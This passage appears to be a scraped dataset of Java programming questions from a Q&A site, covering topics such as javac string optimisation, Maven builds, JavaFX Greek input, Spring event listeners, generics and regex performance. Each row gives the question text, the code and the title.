astore_1 3 : iconst_0 4 : istore_2 5 : iload_2 6 : sipush 10000 9 : if_icmpge 25 12 : aload_1 13 : ldc # 3 // String really 15 : invokevirtual # 4 // Method java/lang/String.concat : ( Ljava/lang/String ; ) Ljava/lang/String ; 18 : astore_1 19 : iinc 2 , 1 22 : goto 5 25 : aload_1 26 : ldc # 5 // String long string . 28 : invokevirtual # 4 // Method java/lang/String.concat : ( Ljava/lang/String ; ) Ljava/lang/String ; 31 : astore_1 32 : return public static void main ( java.lang.String [ ] ) ; Code : 0 : ldc # 2 // String 2 : astore_1 3 : iconst_0 4 : istore_2 5 : iload_2 6 : sipush 10000 9 : if_icmpge 38 12 : new # 3 // class java/lang/StringBuilder 15 : dup 16 : invokespecial # 4 // Method java/lang/StringBuilder . `` < init > '' : ( ) V 19 : aload_1 20 : invokevirtual # 5 // Method java/lang/StringBuilder.append : ( Ljava/lang/String ; ) Ljava/lang/StringBuilder ; 23 : ldc # 6 // String really 25 : invokevirtual # 5 // Method java/lang/StringBuilder.append : ( Ljava/lang/String ; ) Ljava/lang/StringBuilder ; 28 : invokevirtual # 7 // Method java/lang/StringBuilder.toString : ( ) Ljava/lang/String ; 31 : astore_1 32 : iinc 2 , 1 35 : goto 5 38 : new # 3 // class java/lang/StringBuilder 41 : dup 42 : invokespecial # 4 // Method java/lang/StringBuilder . `` < init > '' : ( ) V 45 : aload_1 46 : invokevirtual # 5 // Method java/lang/StringBuilder.append : ( Ljava/lang/String ; ) Ljava/lang/StringBuilder ; 49 : ldc # 8 // String long string . 51 : invokevirtual # 5 // Method java/lang/StringBuilder.append : ( Ljava/lang/String ; ) Ljava/lang/StringBuilder ; 54 : invokevirtual # 7 // Method java/lang/StringBuilder.toString : ( ) Ljava/lang/String ; 57 : astore_1 58 : return public static void main ( String [ ] args ) { String s = `` '' ; for ( int i=0 ; i < 10000 ; i++ ) { s = new StringBuilder ( ) .append ( s ) .append ( `` really `` ) .toString ( ) ; } s = new StringBuilder ( ) .append ( s ) .append ( `` long string . `` ) .toString ( ) ; } String s = getString1 ( ) + getString2 ( ) + getString3 ( ) ; String s = getString1 ( ) ; s += getString2 ( ) ; s += getString3 ( ) ;",Does Javac 's StringBuilder optimisation do more harm than good ? +Java,OK I understand the working of equals and hashcode and How they are used in hashmap.But This question crossed my mind What if I am having a third party object which does'nt have overridden hashcode and equals and I am not even allowed to modify it.Consider following Class : Now I want to make this class as my Hashmap key obviously it wo n't work without equals and hashcode . I want to know is there any way to handle such cases ? I am unable to think of any or I am way over my head..Thanks .,//Unmodifiable classpublic final class WannaBeKey { private String id ; private String keyName ; //Can be many more fields public String getId ( ) { return id ; } public String getKeyName ( ) { return id ; } //no hashcode or equals : ( },How can I use a third party Class Object as Hashmap Key ? +Java,I am being pulled up by Sonar due to the following line of code : With the error message : Avoid using implementation types like 'LinkedHashSet ' ; use the interface insteadWhat is the way around this when I want to represent a non-sorted Set which keeps its insertion order ? Do I just use a Set and make it clear that the iteration order will be kept ? The stored data will be serialized using JaxB and the iteration order is essential after deserialization . ( I am aware of and completely understand this ),public void setFileNames ( LinkedHashSet < String > fileNames ) {,What interface represents a LinkedHashSet with insertion order iteration +Java,"I am attempting to solve a problem where I create a method that counts the number of occurrences of capital and lowercase ( `` A '' or `` a '' ) in a certain string . I have been working on this problem for a week now , and the main error that I am receiving is that `` char can not be dereferenced '' . Can anyone point me in the correct direction on this Java problem ? Thank you .",class Main { public static int countA ( String s ) { String s1 = `` a '' ; String s2 = `` A '' ; int count = 0 ; for ( int i = 0 ; i < s.length ; i++ ) { String s3 = s.charAt ( i ) ; if ( s3.equals ( s1 ) || s3.equals ( s2 ) ) { count += 1 ; } else { System.out.print ( `` '' ) ; } } } //test case below ( dont change ) : public static void main ( String [ ] args ) { System.out.println ( countA ( `` aaA '' ) ) ; //3 System.out.println ( countA ( `` aaBBdf8k3AAadnklA '' ) ) ; //6 } },Counting the number of specific occurrences in a java String +Java,"Ok , I 've worked with maven ever since I started working ( about 10 years ago ) but this one really puzzles me ... This is my pom : So far nothing special ( I suppose ) ; the behavior is quite different nevertheless ... When I run this via eclipse with M2E : inside the target folder the class files appear ( under target\classes ) they are also inside the generated warWhen I run this via the command line : none of the two stated above ... This quite puzzles me because usually this is the other way around and there is not much exotic in the pom that gives me any reasons to worry , Not much people seem to have this issue apparently ... Can anyone give me a pointer to where to start looking for this to work ? This is what maven from command line claims : But not one file is to be found in that directory ... Any help appreciated : ) versions : eclipse neon 3maven 3.3.9 ( both externally used inside eclipse as independently ) jdk 1.7 a ( puzzled ) S.ps : also Does n't give any apparent errors/warnings ... edit : some additional info : On my computer it does compile if I use jdk8On my colleague 's computer it does n't work at all ( maven 3.3.3 ; jdk7 and/or 8 )",< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/maven-v4_0_0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > company.project < /groupId > < artifactId > Artifact < /artifactId > < packaging > war < /packaging > < version > 1.0.3-SNAPSHOT < /version > < name > Name < /name > < properties > < project.build.sourceEncoding > iso-8859-1 < /project.build.sourceEncoding > < /properties > < dependencies > < dependency > < groupId > commons-lang < /groupId > < artifactId > commons-lang < /artifactId > < version > 2.6 < /version > < /dependency > < dependency > < groupId > org.eclipse.birt.runtime < /groupId > < artifactId > org.eclipse.birt.runtime < /artifactId > < version > 4.6.0-20160607 < /version > < /dependency > < dependency > < groupId > org.springframework < /groupId > < artifactId > spring-web < /artifactId > < version > 3.1.1.RELEASE < /version > < /dependency > < dependency > < groupId > org.springframework < /groupId > < artifactId > spring-webmvc < /artifactId > < version > 3.1.1.RELEASE < /version > < /dependency > < dependency > < groupId > javax.servlet < /groupId > < artifactId > servlet-api < /artifactId > < version > 2.5 < /version > < /dependency > < dependency > < groupId > commons-digester < /groupId > < artifactId > commons-digester < /artifactId > < version > 1.6 < /version > < /dependency > < dependency > < groupId > commons-httpclient < /groupId > < artifactId > commons-httpclient < /artifactId > < version > 2.0.2 < /version > < /dependency > < dependency > < groupId > log4j < /groupId > < artifactId > log4j < /artifactId > < version > 1.2.17 < /version > < /dependency > < /dependencies > < build > < finalName > $ { project.name } < /finalName > < pluginManagement > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-compiler-plugin < /artifactId > < version > 3.6.1 < /version > < configuration > < source > 1.7 < /source > < target > 1.7 < /target > < encoding > $ { project.build.sourceEncoding } < /encoding > < /configuration > < /plugin > < /plugins > < /pluginManagement > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-compiler-plugin < /artifactId > < /plugin > < /plugins > < /build > < /project > [ INFO ] -- - maven-compiler-plugin:3.6.1 : compile ( default-compile ) @ Reporting2 -- - [ INFO ] Changes detected - recompiling the module ! [ INFO ] Compiling 37 source files to C : \Project\wss\maven\Sysper2\Reporting_maven\target\classes mvn -X clean install,Java classes get compiled via external maven inside eclipse but not ( with same maven ) from command line +Java,"The problem I am facing is when I have an input ( TextField , TextArea , etc . ) and I am trying to insert some Greek words which contain accented characters . Words like `` Γάτα `` ( cat ) works fine . Unfortunately , I am unable to type words like `` Ταϊτή `` ( Tahiti ) . If I try to copy and paste it or hard code it , it is working fine , but when I try to write the word using the combination ofShift + ' ; ' + ιwhich should produce the ' ϊ ' , instead I am getting '¨ι'Here is an example : And the image below show what I have as a result when i type the word myselfInstalled JRE : jre1.8.0_221Installed JDK : jdk1.8.0_221To exclude the IDE ( Eclipse ) as a cause of the problem , I tested this behavior on SceneBuilder with just an AnchorPane and a TextField and I had the same issue there as well . But for the sake of argument , I have the editor and all the settings in the Eclipse to use the encoding UTF-8.So I would like to ask : Is this a bug of the current JRE/JDK and if so , is there a well-known solution I could use or I should just use a Listener to catch the input and correct it myself ? Edit : As Sedrick point it out I could use the combination of alt + 0 2 3 9 but this is going to produce a different kind of letter which is similar to the Greek one but not the same . Look the image below . Unfortunately this is not the behavior than my client wants to , because the correct way to type it ( in Greek keyboards ) is with the : Shift + ' ; ' + ι , where the ' ι ' is the English letter ' i'.Edit 2 : Also I could hack my way around it by using the code below but if i decided to do so , I must do it for all of my TextFields which is something i would like to avoid . Otherwise I should create a `` dummy '' CustomTextField class which will extends the TextField and implement the hack there , then I could replace all the TextField references on my project with the CustomTextField .","import javafx.application.Application ; import javafx.geometry.Insets ; import javafx.geometry.Pos ; import javafx.scene.Scene ; import javafx.scene.control.TextField ; import javafx.scene.layout.VBox ; import javafx.stage.Stage ; public class Example extends Application { public static void main ( String [ ] args ) { launch ( args ) ; } @ Override public void start ( Stage stage ) throws Exception { VBox mainBox = new VBox ( 10 ) ; mainBox.setPadding ( new Insets ( 20 ) ) ; mainBox.setAlignment ( Pos.CENTER ) ; // Ταϊτή = Tahiti TextField field1 = new TextField ( `` Ταϊτή '' ) ; TextField field2 = new TextField ( ) ; mainBox.getChildren ( ) .add ( field1 ) ; mainBox.getChildren ( ) .add ( field2 ) ; field1.setStyle ( `` -fx-font-size:24px '' ) ; field2.setStyle ( `` -fx-font-size:24px '' ) ; stage.setScene ( new Scene ( mainBox ) ) ; stage.show ( ) ; } } field2.setTextFormatter ( new TextFormatter < > ( c - > { String text = c.getControlNewText ( ) ; if ( text.contains ( `` ¨ι '' ) || text.contains ( `` ¨Ι '' ) ) { // In order to `` catch '' a word with multiple wrong characters // for example if someone tries to copy/paste , I will use // the replaceAll ( ) method text = text.replaceAll ( `` ¨ι '' , `` ϊ '' ) ; text = text.replaceAll ( `` ¨Ι '' , `` Ϊ '' ) ; // update the field field2.setText ( text ) ; // correct the caret and anchor positions c.setCaretPosition ( c.getCaretPosition ( ) - 1 ) ; c.setAnchor ( c.getCaretPosition ( ) ) ; c.setText ( `` '' ) ; // consume change because we already update it } return c ; } ) ) ;",How to correct Greek accented characters in a TextField +Java,"I 'm writing a program in Java using JBox2D . I need to find the exact point of collision between two textures , if and when they collide.I have the code to determine if a collision happens , and can obviously just call the collision object ID to determine which textures are colliding . What I ca n't seem to figure out is how to grab the actual coordinates of the collision itself . I read the documentation , but it is very complicated and does not address this issue directly.Here 's my code :","import org.jbox2d.callbacks.ContactImpulse ; import org.jbox2d.callbacks.ContactListener ; import org.jbox2d.collision.Manifold ; import org.jbox2d.common.Vec2 ; import org.jbox2d.dynamics.Fixture ; import org.jbox2d.dynamics.contacts.Contact ; public class MyContactListener implements ContactListener { //When they start to collide public void beginContact ( Contact c ) { System.out.println ( `` CONTACT '' ) ; Fixture fa = c.getFixtureA ( ) ; Fixture fb = c.getFixtureB ( ) ; Vec2 posA = fa.getBody ( ) .getPosition ( ) ; Vec2 posB = fb.getBody ( ) .getPosition ( ) ; } public void endContact ( Contact c ) { } public void preSolve ( Contact c , Manifold m ) { } public void postSolve ( Contact c , ContactImpulse ci ) { } }",JBox2D - Find collision coordinates +Java,"I have a weird issue which involves @ TransactionalEventListener not firing correctly or behavior as expected when triggered by another @ TransactionalEventListener . The general flow is : AccountService publish an Event ( to AccountEventListener ) AccountEventListener listens for the EventPerform some processing and then publish another Event ( to MailEventListener ) MailEventListener listens for the Event and peform some processingSo here 's the classes ( excerpt ) . This code works but my intention is to use @ TransactionalEventListener in my MailEventListener class . Hence , the moment I change from @ EventListener to @ TransactionalEventListener in MailEventListener class . The MailEvent does not get triggered.MailEventListener was never triggered . So I went to view Spring Documentation , and it states that @ Async @ EventListener is not support for event that is published by the return of another event . And so I changed to using ApplicationEventPublisher in my AccountEventListener class.Once I changed to the above , my MailEventListener now will pick up the event that is sent from AccountEventListener but the webpage hangs when form is submitted and it throws some exception after awhile , and then it also sent me about 9 of the same email to my email account . I added some logging , and found out that my AccountEventListener ( this.accountRepository.save ( ) ) actually ran 9 times before hitting the exception , which then causes my MailEventListener to execute 9 times I believe , and that is why I received 9 mails in my inbox.Here 's the logs in Pastebin.I 'm not sure why and what is causing it to run 9 times . There is no loop or anything in my methods , be it in AccountService , AccountEventListener , or MailEventListener.Thanks !",public class AccountService { @ Transactional public User createAccount ( Form registrationForm ) { // Some processing // Persist the entity this.accountRepository.save ( userAccount ) ; // Publish the Event this.applicationEventPublisher.publishEvent ( new RegistrationEvent ( ) ) ; } } public class AccountEventListener { @ TransactionalEventListener @ Transactional ( propagation = Propagation.REQUIRES_NEW ) public MailEvent onAccountCreated ( RegistrationEvent registrationEvent ) { // Some processing // Persist the entity this.accountRepository.save ( userAccount ) ; return new MailEvent ( ) ; } } public class MailEventListener { private final MailService mailService ; @ Async @ EventListener public void onAccountCreated ( MailEvent mailEvent ) { this.mailService.prepareAndSend ( mailEvent ) ; } } public class MailEventListener { private final MailService mailService ; @ Async @ TransactionalEventListener public void onAccountCreated ( MailEvent mailEvent ) { this.mailService.prepareAndSend ( mailEvent ) ; } } public class AccountEventListener { @ TransactionalEventListener @ Transactional ( propagation = Propagation.REQUIRES_NEW ) public void onAccountCreated ( RegistrationEvent registrationEvent ) { // Some processing this.accountRepository.save ( userAccount ) ; this.applicationEventPublisher.publishEvent ( new MailEvent ( ) ) ; } },Weird ( Loop ) behavior when using Spring @ TransactionalEventListener to publish event +Java,"I 'm looking at some Java classes that have the following form : My usage of `` Comparable '' here is just to illustrate a possible use of the generic parameter `` E '' . Does this usage of generics/inheritance have a name ? What is it used for ? My impression is that this allows the abstract class to provide a common implementation of a method ( such as compareTo ) without having to provide it in the subclasses . However , in this example , unlike an inherited method it would restrict subclasses to invoking compareTo on other instances of the same subclass , rather than any `` A '' subclass . Does this sound right ? Anyway , just curious if any gurus out there have seen this before and know what it does.Thanks !",public abstractclass A < E extends A < E > > implements Comparable < E > { public final int compareTo ( E other ) { // etc } } public class B extends A < B > { // etc } public class C extends A < C > { // etc },What does this Java generics paradigm do and what is it called ? +Java,"I went little fancy and wrote Selenium page-object with Java 8 streaming as mentioned in below code and got a review comment that my code is breaking Law of Demeter , since I am doing lot of operations in a single line . I was suggested to break the code to first stream to collect to list and run another stream operation to do match ( in short break it down into multiple streams as needed ) . I was not convinced as Stream is introduced for handling data processing and if we break it down into multiple streams , there is no point using stream . Previously I have worked for a cyber security project , where millions of records were processed with streaming with multiple logic operations to sort the data.Please share your thoughts , I have changed it as the reviewer suggested but he could n't explain why and I want to learn more about streams and right way of utilizing this powerful addition to java 8.Here is the sample code : is line I am referring to in this question , providing the method so that it makes more sense .",listOfWebElements.stream ( ) .filter ( element - > element.getText ( ) .contains ( name ) ) .findFirst ( ) .ifPresent ( match - > match.click ( ) ) ; @ FindBy ( css = `` # someTable td.some-name li a '' ) List < WebElement > listOfWebElements ; public SomeClass doSomething ( String name ) { wait.until ( visibilityOfAllElements ( listOfWebElements ) ) ; listOfWebElements.stream ( ) .filter ( element - > element.getText ( ) .contains ( name ) ) .findFirst ( ) .ifPresent ( match - > match.click ( ) ) ; return new SomeClass ( driver ) ; },Can multiple operations with Streaming break The Law of Demeter ? +Java,I have the following generic class : Why do I get the following error when I try to compile it : It seems to me that the two constructors share the same signature although they have different generic type arguments . Why ? And how to work around this problem ? UpdateI understood the problem now . The compiler needs a way to distinguish the two types . Adding such a constrain would be ok for my use case . So I would like to add another question : How to specify that the two types A and B may be anything but different ?,"class Or < A , B > { Or ( A a ) { } Or ( B b ) { } } Or ( A ) is already defined in Or Or ( B b ) ^",Why do generic types have the same signature ? +Java,I have following configuration : And it is the injection place : By default spring uses AND logic for each @ QualifierSo bean2 and bean3 will be injected.But I want to have OR logic for that stuff so I expect beans bean1 bean2 bean3 and bean4 to be injectedHow can I achieve it ? P.S . @ Qualifier annotation is not repeatable so I have to create meta annotation for each annotation :,@ Qualifier1 @ Qualifier2 @ Beanpublic MyBean bean1 ( ) { ... } @ Qualifier2 @ Qualifier3 @ Beanpublic MyBean bean2 ( ) { ... } @ Qualifier1 @ Qualifier2 @ Qualifier3 @ Beanpublic MyBean bean3 ( ) { ... } @ Qualifier3 @ Beanpublic MyBean bean4 ( ) { ... } @ Qualifier1 @ Beanpublic MyBean bean5 ( ) { ... } @ Qualifier2 @ Qualifier3 @ Autowired : private List < MyBean > beans ; @ Retention ( RetentionPolicy.RUNTIME ) @ Qualifierpublic @ interface Qualifier1 { },How to implement OR logic for spring qualifiers ? +Java,"I am using cxf library for a web service client.When the response comes late around 5 seconds , the cxf takes around 20 seconds to return the response . The ws returns a 33912 long response.The client has no problem with the fast responses though.I ca n't find what the problem is . I tested the ws endpoint and it returns max in 8 seconds . But the cxf client sometimes takes 30-50 seconds.I opened the debug logs , and between these two lines it takes 9 seconds 2018-01-11 17:17:14.022 DEBUG 10492 -- - [ nio-8086-exec-6 ] o.apache.cxf.transport.http.HTTPConduit : Sending POST Message with Headers to http : //example.com/service Conduit : { http : //example.com./ } ExampleWebServicePort.http-conduit 2018-01-11 17:17:23.370 DEBUG 10492 -- - [ nio-8086-exec-6 ] org.apache.cxf.endpoint.ClientImpl : Interceptors contributed by bus : [ org.apache.cxf.ws.policy.PolicyInInterceptor @ 3ec595ab ] This is the client : What might cause this problem ?",HTTPConduit httpConduit = ( HTTPConduit ) client.getConduit ( ) ; httpConduit.setAuthSupplier ( null ) ; httpConduit.setAuthorization ( null ) ; HTTPClientPolicy clientPolicy = new HTTPClientPolicy ( ) ; clientPolicy.setConnectionTimeout ( 60000L ) ; clientPolicy.setReceiveTimeout ( 60000L ) ; httpConduit.setClient ( clientPolicy ) ;,Cxf client takes too long time when response comes late +Java,"I am trying to make a function graphing program in Java , and it involves taking a user 's input for the function which will be graphed , parsing it , and graphing it . For example , the user might enter in x^2 - y^2 , cos ( x + y ) , log ( x ) - sqrt ( y ) , etc . The program makes use of both infix binary operations ( + , - , etc . ) and unary operations ( cos , sqrt , etc. ) . In short , in order to evaluate the unary operations , I must make sure that a given expression follows the format of a single unary operation . For example , cos ( x ) , sqrt ( x + y ) , and log ( exp ( y ) - x ) all fit this format , since they are unary operations with some expression as their operand ; however , strings such as sin ( x ) *cos ( y ) and 1 + log ( x ) do not follow this format . In order to check , I made a regular expression for this format : ( this is just a regex to check if a given string is a name for a predefined unary operation ) I 'll give an explanation . This regex is looking for the name of one of the unary operations . After that , it looks for a left-parenthesis . After that , it looks for some sequence of characters which are not parentheses , and then some sequence which begins with a left parenthesis and ends with a right parenthesis . The latter prevents a String such as `` sin ( x ) + cos ( y ) '' from matching . This regular expression always gives desired results , as far as I can tell . However , in its use , one problem arises . Consider this situation : Obviously , if the regex works , this should return false , which it does . The same would be true with this example : Nothing really changed , pattern-wise . However , successively adding zeroes to the 3 , the match seems to take exponentially longer to evaluate . For me , 12 zeroes takes about 13 seconds . Since my program will be plotting many points on a graph , it will have to calculate thousands of expressions every time it graphs something , so this is a fatal flaw . I 've already found a way around having to use this regular expression and my program works quite nicely , but I would still like to know : why does this regular expression take so long to work for large inputs , and is there any way to change the regex to fix this issue ?",String unaryName = `` ( ( productlog ) | ( zeta ) | ( log ) | ( sqrt ) | ( cos ) | ( sin ) | ( tan ) | ( sec ) | ( csc ) | ( csc ) | ( abs ) | ( arccos ) | ( arcsin ) | ( arctan ) | ( arcsec ) | ( arccsc ) | ( arccot ) | ( gamma ) | ( exp ) ) '' ; String unaryOperation = unaryName + `` \\ ( ( [ ^\\ ( \\ ) ] * ( \\ ( . *\\ ) ) * [ ^\\ ( \\ ) ] * ) +\\ ) '' String s = `` cos ( 3 ) + sin ( 4 ) '' ; System.out.println ( s.matches ( unaryOperation ) ) ; String s = `` cos ( 3.000 ) + sin ( 4 ) '' ; System.out.println ( s.matches ( unaryOperation ) ) ;,Java regular expression performance issue +Java,"Suppose I have two classes : Note that GenericA is package-private and generic , and IntegerA is public and not generic.Now , when I generate the public Javadoc ( using Eclipse ) , I see the following in the IntegerA methods section : The problem is that a reader of that Javadoc has no idea what E is ; i.e. , that E represents Integer . I would rather have the Javadoc sayIs there a way to make Javadoc behave the way I want it to ?",abstract class GenericA < E > { public void go ( E e ) { ... } } public class IntegerA extends GenericA < Integer > { } public void go ( E e ) public void go ( Integer e ),Javadoc when extending generic class with non-generic class +Java,I have the following code : why is the result is `` String Version '' ? and why there is a compiler error if the first method takes a StringBuffer object ? Another case : if the first method takes a StringBuffer object and I write question.method ( `` word '' ) ; the result will be `` String Version '' . Why ? why there is no compiler error ?,public class Main { public void method ( Object o ) { System.out.println ( `` Object Version '' ) ; } public void method ( String s ) { System.out.println ( `` String Version '' ) ; } public static void main ( String args [ ] ) { Main question = new Main ( ) ; question.method ( null ) ; //1 } },What is the explanation of this java code ? +Java,A Java application sends an XML to a Python application . They are both on the same machine.When I open the received file I can see extra lines ( because of extra CRs ) . What could be the reason for this ? This is the receiver : This is the sender : This is the original file : This is the received :,"f = open ( ' c : /python/python.xml ' , ' w ' ) while 1 : print ( `` xxx '' ) data = socket.recv ( recv_frame ) remain_byte = remain_byte - len ( data ) print ( remain_byte ) f.write ( data ) if ( something ) : break while ( ( bytesRead = file_inp.read ( buffer ) ) > 0 ) { output_local.write ( buffer , 0 , bytesRead ) ; } < root > < CR > < LF > < SONG > < CR > < LF > < ARTIST > Coldplay < /ARTIST > < CR > < LF > < /SONG > < CR > < LF > < /root > < CR > < LF > < root > < CR > < CR > < LF > < SONG > < CR > < CR > < LF > < ARTIST > Coldplay < /ARTIST > < CR > < CR > < LF > < /SONG > < CR > < CR > < LF > < /root > < CR > < CR > < LF >",Python Adds An Extra CR At The End Of The Received Lines +Java,We define an annotation as an interface as belowand we know that all annotations extends interface java.lang.annotation.Annotation by default . When I checked the java library for Annotation interface I found that it was overridding many methods of Object class like hashCode ( ) etc . If Annotation is an interface then how could it extend an Object class and override its methods ? Interfaces can only extends other interfaces and not classes .,@ interface annot_name { },If Annotation is an interface then how it can extend an Object class ? +Java,I am trying to figure the size of a hashmap in memory without a profiler . So I did the following : Where lotsOfGC is just : The result I get is : memory before = 76083464 memory after = 722062528Can someone please explain to me why the free memory after creating the hashmap is bigger ? Update : After reading the comment of @ Patricia Shanahan I used the total memory and got :,"HashMap < Integer , String > map = new HashMap < Integer , String > ( ) ; long start = System.currentTimeMillis ( ) ; lotsOfGC ( ) ; long freeMemoryBeforeConstruction = Runtime.getRuntime ( ) .freeMemory ( ) ; System.out.println ( `` memory before = `` + freeMemoryBeforeConstruction ) ; for ( int i = 0 ; i < numbers.length ; i++ ) { String value = `` value '' + i ; map.put ( i , value ) ; } long end = System.currentTimeMillis ( ) ; lotsOfGC ( ) ; long freeMemoryAfterConstruction = Runtime.getRuntime ( ) .freeMemory ( ) ; System.out.println ( `` memory after= `` + freeMemoryAfterConstruction ) ; static void lotsOfGC ( ) { for ( int i = 0 ; i < 20 ; i++ ) { System.gc ( ) ; try { Thread.sleep ( 100 ) ; } catch ( InterruptedException e ) { Thread.currentThread ( ) .interrupt ( ) ; } } } memory before = 76083464 total memory before = 96468992 memory after = 735235264 total memory after = 755367936",Why does Runtime.freeMemory ( ) show more memory after constructing an object ? +Java,"I used constraint layout Android Studio 2.3.1 with constraint-layout:1.0.0-alpha4 dependency before , but now I am using 'com.android.support.constraint : constraint-layout:1.0.2 ' , layout_constraintGuide_Percent attribute is not exists . Which attribute replace for layout_constraintGuide_Percent ? my code :",< android.support.constraint.Guideline android : id= '' @ +id/guideline_vertical '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : orientation= '' vertical '' app : layout_constraintGuide_Percent= '' 0.8 '' tools : layout_editor_absoluteX= '' 50dp '' tools : layout_editor_absoluteY= '' 0dp '' / >,Which attribute replace for “ layout_constraintGuide_Percent ” at Android-Studio +Java,"I have Java enum : I want to call it like ConflictResolutionStrategy.hardResolve.apply ( case1 , case2 ) .Both case1 and case2 objects of the same type . apply in my case should return nothing.The basic idea behind this design . Create Strategy design pattern and resolve conflicts based on the set enum value.I can not find any similar questions on StackOveflow even simple search gives me tons of similar cases which do n't resolve my case directly.I tried The following : This version above does n't compile.I tried another solution : The second solution , works okay but requires too much code .","public enum ConflictResolutionStrategy { softResolve , hardResolve , } public enum ConflictResolutionStrategy { softResolve ( ( CaseType case1 , CaseType case2 ) - > case1.update ( case2 ) ) , hardResolve , } public enum ConflictResolutionStrategy { softResolve , hardResolve { public void apply ( CaseType case1 , CaseType case2 ) { case1.update ( case2 ) ; } } , }",How to implement BiFunctional function that corresponds to Enum in Java ? +Java,"So I finished up a program that recursively draws lines which takes an argument `` n '' to define the depth of the recursion . I have 2 functions , one which draws the relatively left line and another which draws the relatively right one . I tested it ant it seems to work for the first 4 levels , but then either the lines become too small to accurately represent or there 's something wrong with my code because the breaks between the lines seem to become arbitrary . Was hoping somebody could test my code and see if they could find what the problem is . The following image is of depth 10.EDIT : fixed a part of code , still need help though","public class Art { //draws the relatively left linepublic static void drawLeftLine ( double x0 , double y0 , double x1 , double y1 ) { //define new x coordinate for line //double x2 = ( 1/3.0 ) * ( x1 - x0 ) ; //color of line StdDraw.setPenColor ( StdDraw.BLUE ) ; //draw line by adding new x coord to original StdDraw.line ( x0 , y0 , x1 , y1 ) ; } //draw relatively right linepublic static void drawRightLine ( double x0 , double y0 , double x1 , double y1 ) { //define new x coord for line //double x2 = ( 2/3.0 ) * ( x1 - x0 ) ; //color of line StdDraw.setPenColor ( StdDraw.BLUE ) ; //draw line by adding new x coord to original StdDraw.line ( x0 , y0 , x1 , y1 ) ; } public static void cantor ( int n , double x0 , double y0 , double x1 , double y1 ) { if ( n == 0 ) return ; drawLeftLine ( x0 , y0 , x1 , y1 ) ; drawRightLine ( x0 , y0 , x1 , y1 ) ; y0 = y0 - 0.1 ; y1 = y1 - 0.1 ; cantor ( n-1 , x0 , y0 , x0 + ( ( x1 - x0 ) ) /3.0 , y1 ) ; //left cantor ( n-1 , ( 2.0/ 3 ) * ( x1 - x0 ) + x0 , y0 , x1 , y1 ) ; //right } public static void main ( String [ ] args ) { //change n into integer ( depth ) int n = Integer.parseInt ( args [ 0 ] ) ; //specify inital values for line double x0 = 0 ; double y0 = 0.9 ; double x1 = 0.9 ; double y1 = 0.9 ; //recursive function cantor cantor ( n , x0 , y0 , x1 , y1 ) ; } }",Check program debug +Java,"Say , I have a method : And then when trying to compile this code : I get an error Type mismatch : can not convert from Collection < Object > to Collection < Integer > .Could anyone explain why the type system can not infer that Collections.emptyList ( ) should be of type Collection < Integer > ? The example above is obviously quite artificial , but I stumble upon that limitation all the time and it 's really annoying . After having read Effective Java I have found out that you can simply do Collections. < Integer > emptyList ( ) ( must say , that was quite a revelation for me at the time ) and have everything compiling smoothly , but when you have some complicated type then it really is a nuisance.I 'm just wondering if this is some sort of bug , or are there any valid reasons for it to work that way ?","public static < T > Collection < T > addToCollection ( T element , Collection < T > collection ) { collection.add ( element ) ; return collection ; } Integer i = 42 ; Collection < Integer > result = addToCollection ( i , Collections.emptyList ( ) ) ;",Why is Java 's type inference so weak ? +Java,"Trying to create an iterator for a generic linked list . When I attempt to create a 'current ' node for the purpose of iterating through the list based upon the head sentinel , I get an incompatible type error . Here 's the relveant linesAnd the error producedSeems like I 've introduced two different types of T , but I 'm not very experienced with generics to know for sure . Hopefully the code above is enough for someone to identify the error ( it 's quite gutted ) . Thanks !",public class LinkedList < T > implements Iterable < T > { private node < T > headsent ; private node < T > tailsent ; public DistanceEventList ( ) { headsent = new node < T > ( ) ; tailsent = new node < T > ( ) ; headsent.setnext ( tailsent ) ; tailsent.setprevious ( headsent ) ; } public node < T > getheadsent ( ) { return headsent ; } ... public MyIterator < T > iterator ( ) { return new MyIterator < T > ( ) ; } public class MyIterator < T > implements Iterator < T > { private node < T > current = getheadsent ( ) ; public T next ( ) { current = current.getnext ( ) ; return current.getdata ( ) ; } private class node < T > { private T data ; private node < T > next ; private node < T > previous ; ... public node < T > getnext ( ) { return next ; } } } LinkedList.java:65 : error : incompatible typesprivate node < T > current = getheadsent ( ) ; required : LinkedList < T # 1 > .node < T # 2 ) found : LinkedList < T # 1 > .node < T # 1 ),Java Generics incompatible types linkedlist iterators +Java,"Assume the following classLet 's assume there are two threads accessing the same instance of TestObject class , let 's call them t1 and t2 . I want to know what will happen in the following scenario.When t1 is in midway of accessing method1 ( ) . Now t2 is trying to access method2 ( ) .When t1 is in midway of accessing method2 ( ) . Now t2 is trying to access method1 ( ) .My understanding is that for the first question , the thread t2 will not be given permission as the object will be locked by t1 . For the second question , the thread t2 will be granted access and takes lock on the object and will stall t1 from execution . But my assumption was wrong . Can anyone explain this ? Thanks",public class TestObject { public void synchronized method1 ( ) { //some 1000 lines of code } public void method2 ( ) { //some 1000 lines of code } },A question on Java multi-threading +Java,"In an interview , I was given the following problem to solve initially using pen/paper , then via a program to verify the result.The question is as follows : There are three people A , B and C. Each person is capable of hitting a target with a probability of 6/7 , 4/5 and 3/4 respectively . What is the probability that if they were to each fire one shot that exactly two of them will hit the target ? The answer is : Below is my solution to the problem : The problem is as follows , regardless of how large a number of trials I run , the probability flat-lines at around roughly 0.3857002101 . Is there something wrong in the code ? The interviewer said it is trivial to get the result to converge to around 9 decimal place accuracy within 1 million trials , regardless of the seed.Any ideas on where the bug is in my code ? UPDATE 1 : I 've tried the above code with the following generators , they all seem to platau at around the same time roughly trial 10^9 . std : :mt19937_64 std : :ranlux48_base std : :minstd_rand0UPDATE 2 : Thinking about the problem , I 've gone down the following track . The ratio 27/70 comprised of 27 and 70 which are both coprime and where factors of 70 under 4x10^9 is roughly 57x10^6 or about 1.4 % of all the numbers . Hence the probability of getting the `` exact '' ratio of 27/70 out of two numbers selected at random between [ 0,4x10^9 ] is roughly 1.4 % ( as there are more factors of 27 within 4x10^9 ) - So getting the exact ratio is very low , and that number will be constant regardless of the number of trials.Now if one where to talk about thick bounds - ie : numbers in the range of factors of 70 +/5 